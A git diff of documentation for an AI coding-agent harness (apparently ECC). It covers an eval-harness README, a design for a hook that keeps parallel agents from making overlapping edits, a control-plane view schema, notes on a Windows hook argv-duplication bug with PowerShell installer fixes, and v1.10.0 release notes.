writes a replacement. The CLI validates --artifact, --gate and --out before file
|
||||
reads or producer writes: missing values, values that are another flag, and
|
||||
repeated flags exit with usage code 2. Disabled gate commands still refuse before
|
||||
configuration/capsule I/O.
|
||||
|
||||
Signing remains a detached interface: pass a signer when building and a verifier
|
||||
when verifying. No key generation, transport or rotation happens in this package.
|
||||
A signature proves who vouched for the bytes, not that the run was correct.
|
||||
Optional gate-receipt hashing remains for compatibility with existing artifacts;
|
||||
accepting externally supplied bytes proves neither containment nor promotion.
|
||||
|
||||
This slice addresses receipt/projection validation and metadata identity binding.
|
||||
The OS executor is still unavailable. Cooperative append serialization is
|
||||
described above; concurrent export/create and broader envelope/review findings
|
||||
remain separate. Package/count evidence is a separate ignore-scripts test scope
|
||||
and does not validate normal prepack or clear a release.
|
||||
|
||||
## Where it plugs in
|
||||
|
||||
- `skills/eval-harness/SKILL.md` describes eval-driven development. These
|
||||
frameworks are the mechanical layer under its report format.
|
||||
- The `harness-optimizer` agent and `/harness-audit` command must report the gate
|
||||
unavailable until a reviewed OS backend exists. They cannot emit new gate
|
||||
receipts using this implementation.
|
||||
- The Rust `ecc2/src/harness_eval.rs` bounded evaluation loop is a separate,
|
||||
earlier experiment. The Node frameworks are the portable surface.
|
||||
|
||||
## Tests
|
||||
|
||||
```sh
|
||||
node tests/lib/eval-harness/envelope.test.js
|
||||
node tests/lib/eval-harness/capsule.test.js
|
||||
node tests/lib/eval-harness/gate.test.js
|
||||
node tests/lib/eval-harness/security.test.js
|
||||
node tests/lib/eval-harness/replay.test.js
|
||||
node tests/lib/eval-harness/receipt.test.js
|
||||
node tests/lib/eval-harness/cli.test.js
|
||||
node examples/eval-harness/run-example.js
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
# TCAS hook: pre-merge deconfliction (slice b, design)
|
||||
|
||||
Status: design only. Nothing in this document is implemented. Slice (a), the live view and the advisory feed it reads, shipped in `VIEW-CONTRACT.md`.
|
||||
|
||||
## Goal
|
||||
|
||||
Stop two agents from finishing overlapping edits and meeting at the merge. The scan already knows when two working sets converge; the hook is what turns that knowledge into a maneuver inside the harness, before either agent commits.
|
||||
|
||||
Push plan wording: "a PreToolUse/Edit hook that reads the advisory feed and returns steer, pause or wait for the lower-priority agent, logged to the capsule."
|
||||
|
||||
## Inputs
|
||||
|
||||
1. The event feed: `GET /api/control-plane/events` on the local control pane, or the same document written to a file by `scripts/proximity-tick.js --json` for sessions without a pane. Events of kind `proximity.advisory` with `action.type` `transmit` or `steer` and a deterministic `id`.
|
||||
2. The hook's own session id. Claude Code passes `session_id` on stdin; the ECC session adapter maps it to the ECC2 `sessions.id` the scan uses. Codex and Hermes use the instruction-backed equivalent (see below).
|
||||
3. The tool call: `tool_name` and `tool_input.file_path` for Edit, Write and MultiEdit. Bash is out of scope for v1.
|
||||
|
||||
## Decision
|
||||
|
||||
For each advisory event whose `subject` includes this session:
|
||||
|
||||
| Event | This session is | Maneuver | Hook result |
|
||||
|---|---|---|---|
|
||||
| `traffic`, action `transmit` | either side | **transmit**: inject the other agent's working set as a system message | exit 0, message on stderr (warn, never block) |
|
||||
| `resolution`, action `steer` | `hold` | **hold**: continue | exit 0, short note |
|
||||
| `resolution`, action `steer` | `steer`, and `file_path` is in the other agent's working set | **pause**: stop editing that file until the other agent's diff lands | exit 2 with the reason (blocks this one tool call) |
|
||||
| `resolution`, action `steer` | `steer`, and `file_path` is not in the other agent's working set | **wait**: allowed, but told to keep to non-overlapping files | exit 0, message on stderr |
|
||||
| `resolution`, action `steer` | `steer`, and a `steer` target exists | **steer**: suggest the disjoint files or subtree the agent should move to | exit 0, message; exit 2 only if the edit is on the shared file |
|
||||
|
||||
The maneuver is deterministic: both agents read the same event, `hold` and `steer` are named in it, so the two sides never pick the same move. This is the TCAS coordination property and it is why the view computes right-of-way once, centrally, rather than each hook deciding.
|
||||
|
||||
`pause` blocks a single tool call, not the session. The agent sees the reason and can pick another file. Blocking is bounded by the event's `at`: an event older than the pane's poll interval times three is stale and the hook does not block on it.
|
||||
|
||||
## Priority
|
||||
|
||||
Right-of-way comes from the event (`action.hold`, `action.steer`). The view computes it as more progress, then earlier start, then stable id (`rightOfWay` in `scripts/lib/agent-proximity/distance.js`). The hook never recomputes it.
|
||||
|
||||
## Logging to the capsule
|
||||
|
||||
Every decision is one entry in the session's capsule journal (`scripts/lib/eval-harness/capsule.js`, hash-linked NDJSON):
|
||||
|
||||
```json
|
||||
{
|
||||
"kind": "tcas.decision",
|
||||
"event_id": "proximity.advisory:session-a|session-b:resolution",
|
||||
"session": "session-b",
|
||||
"tool": "Edit",
|
||||
"file": "src/api/users.js",
|
||||
"maneuver": "pause",
|
||||
"blocked": true,
|
||||
"risk": 1,
|
||||
"threshold": { "ta": 0.35, "ra": 0.7, "source": "static" },
|
||||
"at": "2026-09-11T20:01:03.000Z"
|
||||
}
|
||||
```
|
||||
|
||||
The capsule is the baseline counter for the 85 percent goal: rebase and merge-conflict triage incidents per week are counted from these entries plus `git rerere` and conflict markers, two weeks before and two weeks after the hook is on. No percentage is claimed before that.
|
||||
|
||||
## Where it plugs in
|
||||
|
||||
- **Claude Code**: a `PreToolUse` entry in `hooks/hooks.json` with matcher `Edit|Write|MultiEdit`, routed through `scripts/hooks/run-with-flags.js` so `ECC_HOOK_PROFILE` and `ECC_DISABLED_HOOKS` gate it. Script under `scripts/hooks/tcas-pre-edit.js`, helpers in `scripts/lib/control-pane/tcas.js`. Budget: under 200 ms, no network beyond loopback, exit 0 on any parse or fetch error.
|
||||
- **Codex**: no PreToolUse. The instruction-backed equivalent is the `proximity_steer` / `proximity_hold` message the tick already writes into the ECC2 `messages` table, surfaced on the next turn. `pause` degrades to a strong instruction.
|
||||
- **Hermes**: gateway hook on the tool-call path, same decision table, same capsule entry.
|
||||
|
||||
## Off switch and safety
|
||||
|
||||
- Disabled by default. On with `ECC_TCAS_HOOK=1` or the hook profile.
|
||||
- Read-only against the pane. It never writes to the sessions or messages tables.
|
||||
- No lease is acquired. Durable leases are slice (c), the worktree lease table in ecc2 `session/store.rs` next to `messages`; until then a `pause` is a per-call block, not a lock, and two hooks racing on the same file is possible but harmless (both see the same event and the same `steer`).
|
||||
- Fails open. Any error is exit 0 with a `[TCAS]` line on stderr.
|
||||
|
||||
## Tests to write with it
|
||||
|
||||
- Decision table: one test per row above, driven by a fixture event feed and a stdin payload.
|
||||
- Staleness: an event older than the window does not block.
|
||||
- Fail-open: unreachable pane, malformed JSON, missing session id.
|
||||
- Capsule: one entry per decision, hash chain intact, replay reproduces the same bytes.
|
||||
- Integration: two fake sessions with overlapping working sets, the lower-priority one gets exit 2 on the shared file and exit 0 on a disjoint file.
|
||||
|
||||
## Out of scope for (b)
|
||||
|
||||
Learned thresholds, closure-rate escalation, mesh mode, cross-machine airspace, the `x_sem`, `x_vec`, `x_freq` channels (slice g), and the lease table (slice c).
|
||||
@@ -0,0 +1,141 @@
|
||||
# ECC control-plane live view: `ecc.control-plane.view.v1`
|
||||
|
||||
Status: shipped with the control pane (`scripts/lib/control-pane/control-plane-view.js`). Read-only. Advisory only.
|
||||
|
||||
The view joins three things the repo already computes separately and serves them as one JSON document shaped as tasks, lanes and events, so another control plane (the Ito ops board, a Hermes or Codex reader, a hook) can consume it without knowing ECC internals.
|
||||
|
||||
| Input | Where it comes from |
|
||||
|---|---|
|
||||
| Sessions | `scripts/lib/control-pane/state.js`, the ECC2 `sessions` table |
|
||||
| Pairwise proximity | `scripts/lib/agent-proximity/` (noisy-OR over `x_tree`, `x_overlap`, `x_dep`) via `scripts/lib/control-pane/proximity.js` |
|
||||
| 2D projection | `scripts/lib/agent-proximity/projection.js` (rolling z-score, tails clipped at 2.5 / 97.5, PCA) |
|
||||
| Coordination inventory | `scripts/lib/coordination-inventory.js` (PR #3028): declared tasks and sessions, heartbeat freshness, lease conflicts |
|
||||
|
||||
## Endpoints
|
||||
|
||||
Served by `node scripts/control-pane.js` (loopback only, same Host and Origin gate as the rest of the pane):
|
||||
|
||||
| Route | Returns |
|
||||
|---|---|
|
||||
| `GET /control-plane` | Self-contained HTML page: 2D projection canvas, lanes and tasks, event feed. No external scripts. |
|
||||
| `GET /api/control-plane` | The full view document below. |
|
||||
| `GET /api/control-plane/events` | `{ schemaVersion, generatedAt, thresholds, events, counts }` only, for hooks and pollers. |
|
||||
|
||||
The server keeps one projection window per process. Both API routes share a snapshot cached for five seconds, and concurrent refresh requests are coalesced. Reads within that interval do not add samples. After expiry, the next read refreshes the snapshot once; idle intervals do not generate synthetic samples. Failed refreshes return errors rather than healthy empty data. The page rejects failed HTTP responses and invalid view envelopes and shows `offline`. Options on `createControlPaneServer`: `projection` (`windowSize`, `clipPercentiles`), `viewOptions` (`thresholds`, `manifest`, `channelWeights`, `minWindowForZscore`), `proximityOptions` (passed to the scan).
|
||||
|
||||
## Document
|
||||
|
||||
```json
|
||||
{
|
||||
"schemaVersion": "ecc.control-plane.view.v1",
|
||||
"generatedAt": "2026-09-11T20:01:00.000Z",
|
||||
"source": { "snapshotSchema": "ecc.control-pane.snapshot.v1", "repoRoot": "...", "dbPath": "..." },
|
||||
"thresholds": { "ta": 0.35, "ra": 0.7, "source": "static" },
|
||||
"lanes": [ { "id": "harness:codex", "label": "codex", "kind": "harness", "taskIds": ["session-a"] } ],
|
||||
"tasks": [ { "...": "see Task" } ],
|
||||
"pairs": [ { "...": "see Pair" } ],
|
||||
"events": [ { "...": "see Event" } ],
|
||||
"projection": { "...": "see Projection" },
|
||||
"inventory": { "...": "see Inventory" },
|
||||
"counts": { "lanes": 1, "tasks": 1, "agents": 1, "pairs": 0, "events": 0, "advisories": 0, "resolutions": 0 },
|
||||
"limits": [ "..." ]
|
||||
}
|
||||
```
|
||||
|
||||
### Task
|
||||
|
||||
One task per session. A session with no changed files is still a task; it has no projection point and no pairs.
|
||||
|
||||
| Field | Meaning |
|
||||
|---|---|
|
||||
| `id` | Session id, unchanged. |
|
||||
| `lane` | Lane id this task belongs to. |
|
||||
| `label` | Session task text, or the id. |
|
||||
| `harness`, `agentType`, `state`, `pid` | From the session row. |
|
||||
| `worktree` | `{ path, branch, base }` or `null`. |
|
||||
| `heartbeatAt`, `updatedAt` | ISO timestamps or `null`. |
|
||||
| `workingSet` | `{ fileCount, files }`: the worktree diff against its base. |
|
||||
| `projection` | `{ point, pairs, maxRisk }` where `point` is `[x, y]` or `null`. `point` is the risk-weighted centroid of the task's pair points in PCA space. |
|
||||
| `inventory` | `{ id, heartbeat, process, authority: "declared-only" }`. `id` is the sanitized identifier used in the inventory manifest; `heartbeat` and `process` are the #3028 observations. |
|
||||
|
||||
### Lane
|
||||
|
||||
A grouping of tasks. Precedence: `task-group` (session `task_group`), then `project`, then `harness`. Ids are prefixed (`group:`, `project:`, `harness:`) so a consumer can tell the kinds apart without reading `kind`.
|
||||
|
||||
### Pair
|
||||
|
||||
One row per agent pair from the airspace scan (only sessions with edits participate).
|
||||
|
||||
| Field | Meaning |
|
||||
|---|---|
|
||||
| `a`, `b` | Session ids. |
|
||||
| `risk`, `level` | Noisy-OR risk and the scan's level (`clear`, `advisory`, `resolution`) at the scan's thresholds. |
|
||||
| `channels` | Raw `{ x_tree, x_overlap, x_dep }` in [0, 1]. |
|
||||
| `normalized` | The same after z-score, clip and map-back, or equal to `channels` while the window is cold. |
|
||||
| `point` | `[pc1, pc2]` PCA scores. |
|
||||
|
||||
### Event
|
||||
|
||||
Something an operator or a hook may act on. Ids are deterministic across polls so a consumer can dedupe.
|
||||
|
||||
```json
|
||||
{
|
||||
"id": "proximity.advisory:session-a|session-b:resolution",
|
||||
"kind": "proximity.advisory",
|
||||
"level": "resolution",
|
||||
"severity": "critical",
|
||||
"at": "2026-09-11T20:01:00.000Z",
|
||||
"subject": { "a": "session-a", "b": "session-b", "aLabel": "...", "bLabel": "..." },
|
||||
"risk": 1,
|
||||
"distance": 0,
|
||||
"channels": { "x_tree": 1, "x_overlap": 1, "x_dep": 0 },
|
||||
"threshold": { "ta": 0.35, "ra": 0.7, "crossed": "ra", "source": "static" },
|
||||
"action": { "type": "steer", "steer": "session-b", "hold": "session-a" },
|
||||
"message": "Resolution advisory: session-b steers, session-a holds (risk 100%, static threshold 0.7)."
|
||||
}
|
||||
```
|
||||
|
||||
| Kind | Levels | Action types | Source |
|
||||
|---|---|---|---|
|
||||
| `proximity.advisory` | `traffic` (risk at or above `ta`), `resolution` (at or above `ra`) | `transmit` (both agents share intent), `steer` (`steer` moves, `hold` keeps course) | Every pair link, evaluated against the view's thresholds. Right-of-way: more progress, then earlier start, then stable id. |
|
||||
| `inventory.lease-conflict` | `conflict` | `review` | #3028 `leaseConflicts`. Declared-only, never a lock. |
|
||||
|
||||
Thresholds are static per view (`source: "static"`). A learned threshold, closure-rate escalation, and the `pause` and `wait` maneuvers are slice (b), see `TCAS-HOOK.md`.
|
||||
|
||||
### Projection
|
||||
|
||||
```json
|
||||
{
|
||||
"method": "pca",
|
||||
"channels": ["x_tree", "x_overlap", "x_dep"],
|
||||
"weights": { "x_tree": 0.25, "x_overlap": 1, "x_dep": 0.9 },
|
||||
"normalization": "zscore-clipped",
|
||||
"window": { "samples": 12, "percentiles": [2.5, 97.5], "channels": [ { "channel": "x_tree", "mean": 0.39, "stddev": 0.42, "clipLow": -0.92, "clipHigh": 1.45 } ] },
|
||||
"pca": { "loadings": [ { "x_tree": 0.12, "x_overlap": 0.87, "x_dep": -0.47 }, { "...": "..." } ], "explainedVariance": [0.6, 0.39] },
|
||||
"agents": [ { "agentId": "session-a", "point": [0.18, 0.41], "pairs": 3, "maxRisk": 1 } ]
|
||||
}
|
||||
```
|
||||
|
||||
Pipeline per poll: every pair's channel vector is pushed into a rolling window (default 512 samples). Once the window holds at least 8 samples, each channel is z-scored against the window, clipped to the window's 2.5th and 97.5th percentile (in z units), mapped back to [0, 1], multiplied by the static channel weight, and the weighted matrix goes through PCA (Jacobi on the 3x3 covariance). Below 8 samples the raw channel values are used and `normalization` says `raw`. A channel with zero variance maps to 0.5. Degenerate inputs (fewer than two pairs, zero total variance) give zero scores, never NaN.
|
||||
|
||||
The projection is a display. It never changes `risk`, the advisory level, or right-of-way.
|
||||
|
||||
### Inventory
|
||||
|
||||
The #3028 report with the per-task rows folded into `tasks[].inventory`. Kept at the top level: `status` (`ok` or `unavailable` with `reason`), `truncated` (more than 64 sessions), `observedAt`, `mode: "read-only"`, `activity`, `leaseConflicts`, `warnings`, `coverage`, `limits`. The manifest is built from the live sessions (ids sanitized to the inventory alphabet, paths from the working set, heartbeat from the session row, declared session status `open` for running/pending/idle, `closed` for completed/failed/stopped). An external manifest (`viewOptions.manifest`) can add `goals`, `leases`, `repositories` and extra `tasks`; the inventory then reports lease conflicts and goal activity for them.
|
||||
|
||||
## Reuse in the Ito ops control plane
|
||||
|
||||
The shape to copy is `task`, `lane`, `event`:
|
||||
|
||||
- a **task** has an `id`, a `lane`, a `state`, an optional position, and an observation block whose `authority` says how much to trust it;
|
||||
- a **lane** is a named group with ordered `taskIds`;
|
||||
- an **event** has a stable `id`, a `kind`, a `level`, a `severity`, an `at`, a `subject`, an `action` with a `type`, and a human `message`.
|
||||
|
||||
Nothing in the shape is ECC-specific except the event kinds. An ops board that renders lanes of tasks and a feed of events can render this document as-is, and can emit its own kinds (`deal.stalled`, `bridge.down`) into the same feed.
|
||||
|
||||
## What this does not do
|
||||
|
||||
- No leases are acquired, no agent is paused or steered. Consumers act; the view reports.
|
||||
- No conflict-reduction percentage is claimed. The 85 percent goal in the push plan is measured two weeks before and after slice (b), not here.
|
||||
- No semantic, call-graph or frequency channel yet (slice (g)). PCA picks new channels up automatically when they land in the scan.
|
||||
@@ -1,109 +0,0 @@
|
||||
# HOOK-FIX-20260421 Addendum — v2.1.116 argv 重複バグ
|
||||
|
||||
朝セッションで commit 527c18b として修正済み。夜セッションで追加検証と、
|
||||
朝fix でカバーしきれない Claude Code 固有のバグを特定したので補遺を記録する。
|
||||
|
||||
## 朝fixの形式
|
||||
|
||||
```json
|
||||
"command": "C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh pre"
|
||||
```
|
||||
|
||||
`.sh` ファイルを直接 command にする形式。Git Bash が shebang 経由で実行する前提。
|
||||
|
||||
## 夜 追加検証で判明したこと
|
||||
|
||||
Node.js の `child_process.spawn` で `.sh` ファイルを直接実行すると Windows では
|
||||
**EFTYPE** で失敗する:
|
||||
|
||||
```js
|
||||
spawn('C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh',
|
||||
['post'], {stdio:['pipe','pipe','pipe']});
|
||||
// → Error: spawn EFTYPE (errno -4028)
|
||||
```
|
||||
|
||||
`shell:true` を付ければ cmd.exe 経由で実行できるが、Claude Code 側の実装
|
||||
依存のリスクが残る。
|
||||
|
||||
## 夜 適用した追加 fix
|
||||
|
||||
第1トークンを `bash`(PATH 解決)に変えた明示的な呼び出しに更新:
|
||||
|
||||
```json
|
||||
{
|
||||
"hooks": {
|
||||
"PreToolUse": [{
|
||||
"matcher": "*",
|
||||
"hooks": [{
|
||||
"type": "command",
|
||||
"command": "bash \"C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh\" pre"
|
||||
}]
|
||||
}],
|
||||
"PostToolUse": [{
|
||||
"matcher": "*",
|
||||
"hooks": [{
|
||||
"type": "command",
|
||||
"command": "bash \"C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh\" post"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
この形式は `~/.claude/hooks/hooks.json` 内の ECC 正規 observer 登録と
|
||||
同じパターンで、現実にエラーなく動作している実績あり。
|
||||
|
||||
### Node spawn 検証
|
||||
|
||||
```js
|
||||
spawn('bash "C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh" post',
|
||||
[], {shell:true});
|
||||
// exit=0 → observations.jsonl に正常追記
|
||||
```
|
||||
|
||||
## Claude Code v2.1.116 の argv 重複バグ(詳細)
|
||||
|
||||
朝fix docの「Defect 2」として `bash.exe: bash.exe: cannot execute binary file` を
|
||||
記録しているが、その根本メカニズムが特定できたので記す。
|
||||
|
||||
### 再現
|
||||
|
||||
```bash
|
||||
"C:\Program Files\Git\bin\bash.exe" "C:\Program Files\Git\bin\bash.exe"
|
||||
# stderr: "C:\Program Files\Git\bin\bash.exe: C:\Program Files\Git\bin\bash.exe: cannot execute binary file"
|
||||
# exit: 126
|
||||
```
|
||||
|
||||
bash は argv[1] を script とみなし読み込もうとする。argv[1] が bash.exe 自身なら
|
||||
ELF/PE バイナリ検出で失敗 → exit 126。エラー文言は完全一致。
|
||||
|
||||
### Claude Code 側の挙動
|
||||
|
||||
hook command が `"C:\Program Files\Git\bin\bash.exe" "C:\Users\...\wrapper.sh"`
|
||||
のとき、v2.1.116 は**第1トークン(= bash.exe フルパス)を argv[0] と argv[1] の
|
||||
両方に渡す**と推定される。結果 bash は argv[1] = bash.exe を script として
|
||||
読み込もうとして 126 で落ちる。
|
||||
|
||||
### 回避策
|
||||
|
||||
第1トークンを bash.exe のフルパス+スペース付きパスにしないこと:
|
||||
1. `OK:` `bash` (PATH 解決の単一トークン)— 夜fix / hooks.json パターン
|
||||
2. `OK:` `.sh` 直接パス(Claude Code の .sh ハンドリングに依存)— 朝fix
|
||||
3. `BAD:` `"C:\Program Files\Git\bin\bash.exe" "<path>"` — 1トークン目が quoted で空白込み
|
||||
|
||||
## 結論
|
||||
|
||||
朝fix(直接 .sh 指定)と夜fix(明示的 bash prefix)のどちらも argv 重複バグを
|
||||
踏まないが、**夜fixの方が Claude Code の実装依存が少ない**ため推奨。
|
||||
|
||||
ただし朝fix commit 527c18b は既に docs/fixes/ に入っているため、この Addendum を
|
||||
追記することで両論併記とする。次回 CLI 再起動時に夜fix の方が実運用に残る。
|
||||
|
||||
## 関連
|
||||
|
||||
- 朝 fix commit: 527c18b
|
||||
- 朝 fix doc: docs/fixes/HOOK-FIX-20260421.md
|
||||
- 朝 apply script: docs/fixes/apply-hook-fix.sh
|
||||
- 夜 fix 記録(ローカル): C:\Users\sugig\Documents\Claude\Projects\ECC作成\hook-fix-report-20260421.md
|
||||
- 夜 fix 適用ファイル: C:\Users\sugig\.claude\settings.local.json
|
||||
- 夜 backup: C:\Users\sugig\.claude\settings.local.json.bak-hook-fix-20260421
|
||||
@@ -1,66 +0,0 @@
|
||||
# install_hook_wrapper.ps1 argv-dup bug workaround (2026-04-22)
|
||||
|
||||
## Summary
|
||||
|
||||
`docs/fixes/install_hook_wrapper.ps1` is the PowerShell helper that copies
|
||||
`observe-wrapper.sh` into `~/.claude/skills/continuous-learning/hooks/` and
|
||||
rewrites `~/.claude/settings.local.json` so the observer hook points at it.
|
||||
|
||||
The previous version produced a hook command of the form:
|
||||
|
||||
```
|
||||
"C:\Program Files\Git\bin\bash.exe" "C:\Users\...\observe-wrapper.sh"
|
||||
```
|
||||
|
||||
Under Claude Code v2.1.116 the first argv token is duplicated. When that token
|
||||
is a quoted Windows executable path, `bash.exe` is re-invoked with itself as
|
||||
its `$0`, which fails with `cannot execute binary file` (exit 126). PR #1524
|
||||
documents the root cause; this script is a companion that keeps the installer
|
||||
in sync with the fixed `settings.local.json` layout.
|
||||
|
||||
## What the fix does
|
||||
|
||||
- First token is now the PATH-resolved `bash` (no quoted `.exe` path), so the
|
||||
argv-dup bug no longer passes a binary as a script.
|
||||
- The wrapper path is normalized to forward slashes before it is embedded in
|
||||
the hook command, avoiding MSYS backslash handling surprises.
|
||||
- `PreToolUse` and `PostToolUse` receive distinct commands with explicit
|
||||
`pre` / `post` positional arguments, matching the shape the wrapper expects.
|
||||
- The settings file is written with LF line endings so downstream JSON parsers
|
||||
never see mixed CRLF/LF output from `ConvertTo-Json`.
|
||||
|
||||
## Resulting command shape
|
||||
|
||||
```
|
||||
bash "C:/Users/<you>/.claude/skills/continuous-learning/hooks/observe-wrapper.sh" pre
|
||||
bash "C:/Users/<you>/.claude/skills/continuous-learning/hooks/observe-wrapper.sh" post
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```powershell
|
||||
# Place observe-wrapper.sh next to this script, then:
|
||||
pwsh -File docs/fixes/install_hook_wrapper.ps1
|
||||
```
|
||||
|
||||
The script backs up `settings.local.json` to
|
||||
`settings.local.json.bak-<timestamp>` before writing.
|
||||
|
||||
## PowerShell 5.1 compatibility
|
||||
|
||||
`ConvertFrom-Json -AsHashtable` is PowerShell 7+ only. The script tries
|
||||
`-AsHashtable` first and falls back to a manual `PSCustomObject` →
|
||||
`Hashtable` conversion on Windows PowerShell 5.1. Both hook buckets
|
||||
(`PreToolUse`, `PostToolUse`) and their inner `hooks` arrays are
|
||||
materialized as `System.Collections.ArrayList` before serialization, so
|
||||
PS 5.1's `ConvertTo-Json` cannot collapse single-element arrays into
|
||||
bare objects. Verified by running `powershell -NoProfile -File
|
||||
docs/fixes/install_hook_wrapper.ps1` on a Windows 11 machine with only
|
||||
Windows PowerShell 5.1 installed (no `pwsh`).
|
||||
|
||||
## Related
|
||||
|
||||
- PR #1524 — settings.local.json shape fix (same argv-dup root cause)
|
||||
- PR #1511 — skip `AppInstallerPythonRedirector.exe` in observer python resolution
|
||||
- PR #1539 — locale-independent `detect-project.sh`
|
||||
- PR #1542 — `patch_settings_cl_v2_simple.ps1` companion fix
|
||||
@@ -1,78 +0,0 @@
|
||||
# patch_settings_cl_v2_simple.ps1 argv-dup bug workaround (2026-04-22)
|
||||
|
||||
## Summary
|
||||
|
||||
`docs/fixes/patch_settings_cl_v2_simple.ps1` is the minimal PowerShell
|
||||
helper that patches `~/.claude/settings.local.json` so the observer hook
|
||||
points at `observe-wrapper.sh`. It is the "simple" counterpart of
|
||||
`docs/fixes/install_hook_wrapper.ps1` (PR #1540): it never copies the
|
||||
wrapper script, it only rewrites the settings file.
|
||||
|
||||
The previous version of this helper registered the raw `observe.sh` path
|
||||
as the hook command, shared a single command string across `PreToolUse`
|
||||
and `PostToolUse`, and relied on `ConvertTo-Json` defaults that can emit
|
||||
CRLF line endings. Under Claude Code v2.1.116 the first argv token is
|
||||
duplicated, so the wrapper needs to be invoked with a specific shape and
|
||||
the two hook phases need distinct entries.
|
||||
|
||||
## What the fix does
|
||||
|
||||
- First token is the PATH-resolved `bash` (no quoted `.exe` path), so the
|
||||
argv-dup bug no longer passes a binary as a script. Matches PR #1524 and
|
||||
PR #1540.
|
||||
- The wrapper path is normalized to forward slashes before it is embedded
|
||||
in the hook command, avoiding MSYS backslash handling surprises.
|
||||
- `PreToolUse` and `PostToolUse` receive distinct commands with explicit
|
||||
`pre` / `post` positional arguments.
|
||||
- The settings file is written UTF-8 (no BOM) with CRLF normalized to LF
|
||||
so downstream JSON parsers never see mixed line endings.
|
||||
- Existing hooks (including legacy `observe.sh` entries and unrelated
|
||||
third-party hooks) are preserved — the script only appends the new
|
||||
wrapper entries when they are not already registered.
|
||||
- Idempotent on re-runs: a second invocation recognizes the canonical
|
||||
command strings and logs `[SKIP]` instead of duplicating entries.
|
||||
|
||||
## Resulting command shape
|
||||
|
||||
```
|
||||
bash "C:/Users/<you>/.claude/skills/continuous-learning/hooks/observe-wrapper.sh" pre
|
||||
bash "C:/Users/<you>/.claude/skills/continuous-learning/hooks/observe-wrapper.sh" post
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```powershell
|
||||
pwsh -File docs/fixes/patch_settings_cl_v2_simple.ps1
|
||||
# Windows PowerShell 5.1 is also supported:
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -File docs/fixes/patch_settings_cl_v2_simple.ps1
|
||||
```
|
||||
|
||||
The script backs up the existing settings file to
|
||||
`settings.local.json.bak-<timestamp>` before writing.
|
||||
|
||||
## PowerShell 5.1 compatibility
|
||||
|
||||
`ConvertFrom-Json -AsHashtable` is PowerShell 7+ only. The script tries
|
||||
`-AsHashtable` first and falls back to a manual `PSCustomObject` →
|
||||
`Hashtable` conversion on Windows PowerShell 5.1. Both hook buckets
|
||||
(`PreToolUse`, `PostToolUse`) and their inner `hooks` arrays are
|
||||
materialized as `System.Collections.ArrayList` before serialization, so
|
||||
PS 5.1's `ConvertTo-Json` cannot collapse single-element arrays into bare
|
||||
objects.
|
||||
|
||||
## Verified cases (dry-run)
|
||||
|
||||
1. Fresh install — no existing settings → creates canonical file.
|
||||
2. Idempotent re-run — existing canonical file → `[SKIP]` both phases,
|
||||
file contents unchanged apart from the pre-write backup.
|
||||
3. Legacy `observe.sh` present → preserves the legacy entries and
|
||||
appends the new `observe-wrapper.sh` entries alongside them.
|
||||
|
||||
All three cases produce LF-only output and match the shape registered by
|
||||
PR #1524's manual fix to `settings.local.json`.
|
||||
|
||||
## Related
|
||||
|
||||
- PR #1524 — settings.local.json shape fix (same argv-dup root cause)
|
||||
- PR #1539 — locale-independent `detect-project.sh`
|
||||
- PR #1540 — `install_hook_wrapper.ps1` argv-dup fix (companion script)
|
||||
@@ -126,11 +126,11 @@ gh api repos/{owner}/{repo}/dependabot/alerts --jq '.[].security_advisory.summar
|
||||
# Check secret scanning alerts
|
||||
gh api repos/{owner}/{repo}/secret-scanning/alerts --jq '.[].state'
|
||||
|
||||
# Review and auto-merge safe dependency bumps
|
||||
# Review dependency bumps — merging is a user-authorized action (propose, never auto-merge)
|
||||
gh pr list --label "dependencies" --json number,title
|
||||
```
|
||||
|
||||
- Review and auto-merge safe dependency bumps
|
||||
- Review safe dependency bumps and propose merges for user approval — never auto-merge
|
||||
- Flag any critical/high severity alerts immediately
|
||||
- Check for new Dependabot alerts weekly at minimum
|
||||
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
---
|
||||
name: motion-ui
|
||||
description: 日本語翻訳:このファイルは motion-ui 用の日本語翻訳が必要です
|
||||
origin: ECC
|
||||
---
|
||||
|
||||
# motion-ui - 日本語翻訳進行中
|
||||
|
||||
このファイルの翻訳は実装中です。英語版は元のスキルファイルを参照してください。
|
||||
|
||||
詳細は:`D:/tmp/everything-claude-code/skills/motion-ui/SKILL.md`
|
||||
@@ -1,55 +0,0 @@
|
||||
# ECC v1.10.0 is live
|
||||
|
||||
ECC just crossed **140K stars**, and the public release surface had drifted too far from the actual repo.
|
||||
|
||||
So v1.10.0 is a hard sync release:
|
||||
|
||||
- **38 agents**
|
||||
- **156 skills**
|
||||
- **72 commands**
|
||||
- plugin/install metadata corrected
|
||||
- top-line docs and release surfaces brought back in line
|
||||
|
||||
This release also folds in the operator/media lane that has been growing around the core harness system:
|
||||
|
||||
- `brand-voice`
|
||||
- `social-graph-ranker`
|
||||
- `connections-optimizer`
|
||||
- `customer-billing-ops`
|
||||
- `google-workspace-ops`
|
||||
- `project-flow-ops`
|
||||
- `workspace-surface-audit`
|
||||
- `manim-video`
|
||||
- `remotion-video-creation`
|
||||
|
||||
And on the 2.0 side:
|
||||
|
||||
ECC 2.0 is now **real as an alpha control-plane surface** in-tree under `ecc2/`.
|
||||
|
||||
It builds today and exposes:
|
||||
|
||||
- `dashboard`
|
||||
- `start`
|
||||
- `sessions`
|
||||
- `status`
|
||||
- `stop`
|
||||
- `resume`
|
||||
- `daemon`
|
||||
|
||||
That does **not** mean the full ECC 2.0 roadmap is done.
|
||||
|
||||
It means the control-plane alpha is here, usable, and moving out of the “just a vision” category.
|
||||
|
||||
The shortest honest framing right now:
|
||||
|
||||
- ECC 1.x is the battle-tested harness/workflow layer shipping broadly today
|
||||
- ECC 2.0 is the alpha control-plane growing on top of it
|
||||
|
||||
If you have been waiting for:
|
||||
|
||||
- cleaner install surfaces
|
||||
- stronger cross-harness parity
|
||||
- operator workflows instead of just coding primitives
|
||||
- a real control-plane direction instead of scattered notes
|
||||
|
||||
